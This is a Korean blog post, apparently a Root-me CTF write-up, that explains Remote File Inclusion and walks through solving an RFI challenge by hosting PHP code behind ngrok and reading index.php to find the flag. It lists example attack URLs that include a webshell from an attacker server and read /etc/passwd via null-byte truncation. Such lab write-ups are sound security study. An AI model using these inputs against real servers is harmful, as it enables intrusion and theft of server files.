반응형

Remote File Inclusion 취약점 관련 문제입니다.

 

줄여서 보통 RFI 취약점이라고 통칭하며, 공격자가 악성 스크립트를 서버에 전달해서 해당 페이지를 통해 전달한 악성 스크립트 코드가 실행되도록 하는 공격이라는 점에서 LFI(Local File Inclusion) 취약점과 차이가 있습니다.

 

RFI 취약점을 이용한 공격은 크게 4가지 CASE로 나눠집니다.

CASE1. /vuln.php?param=http://공격자서버/webshell.txt?

RFI 취약점이 발생하는 부분에 원격지의 파일(웹쉘)을 포함시킨다.

CASE2. /vuln.php?param=C:\ftp\upload\exploit

RFI 공격 이전에 미리 올려둔 파일을 호출해서 코드를 실행시킨다.

CASE3. /vuln.php?param=C:\example.txt%00

서버 측에서 .php 확장자가 강제로 적용되는 경우 Null Byte(%00) 문자를 삽입해서 확장자를 제거하고 다른 파일로의 접근이 가능하게 한다.

(NULL Byte 문자가 존재할 경우 문자열 끝으로 판단함)

CASE4. /vuln.php?param=/etc/passwd%00

서버가 UNIX일 경우 /etc/passwd 파일 열람이 가능하다.

 

 

Root-me 문제에서는 4가지 유형 중 첫 번째 CASE를 이용해서 문제를 풀었습니다.

일단 문제에 접속하면 Language: 문자열 옆에 두 개의 버튼이 존재하고 있습니다.

이 중에서 임의로 하나를 클릭해봅니다.

 

버튼을 클릭하면 "lang"이라는 파라미터가 GET 메소드로 en/fr 값을 전송하고 있습니다.

공격 가능성을 판단하기 위해 File Inclusion 취약점에서 자주 사용되는 특수문자 "../"를 삽입해 보았습니다.

 

에러가 발생하면서 에러 메시지를 통해 정보를 제공해주고 있습니다.

File Inclusion 공격이 가능할 것으로 보입니다.

 

RFI 취약점을 이용하기 위해 우선 웹서버를 구동시키고 system 명령어를 이용해 index.php 파일을 열람할 수 있는 코드를 작성하여 로컬(공격자) 웹 서버에 업로드 하였습니다.

 

그 후, nrgok 툴을 이용해 외부에서 접속 가능한 도메인을 만들어 RFI 취약점이 발생한 lang 파라미터에 해당 URL을 삽입하였습니다.

 

에러가 발생했는데, 해당 에러는 보안상 이유로 system 명령어가 막혀있다는 에러입니다.

RFI 공격은 성공한 것으로 보입니다.

 

system 명령어를 사용하지 않고 file_get_contents 함수를 이용해 index.php 파일을 읽을 수 있게 코드를 재작성 한 후 업로드 하였습니다.

 

앞과 똑같은 방법으로 해당 코드를 실행시켰더니, 기존 버튼 위에 이상한 모양의 버튼이 생긴 것을 확인 할 수 있습니다.

 

마우스 우클릭하여 페이지 소스 보기를 클릭합니다.

 

소스 내에 주석으로 FLAG 값이 출력되어 있는 것을 확인할 수 있습니다!!

반응형

+ Recent posts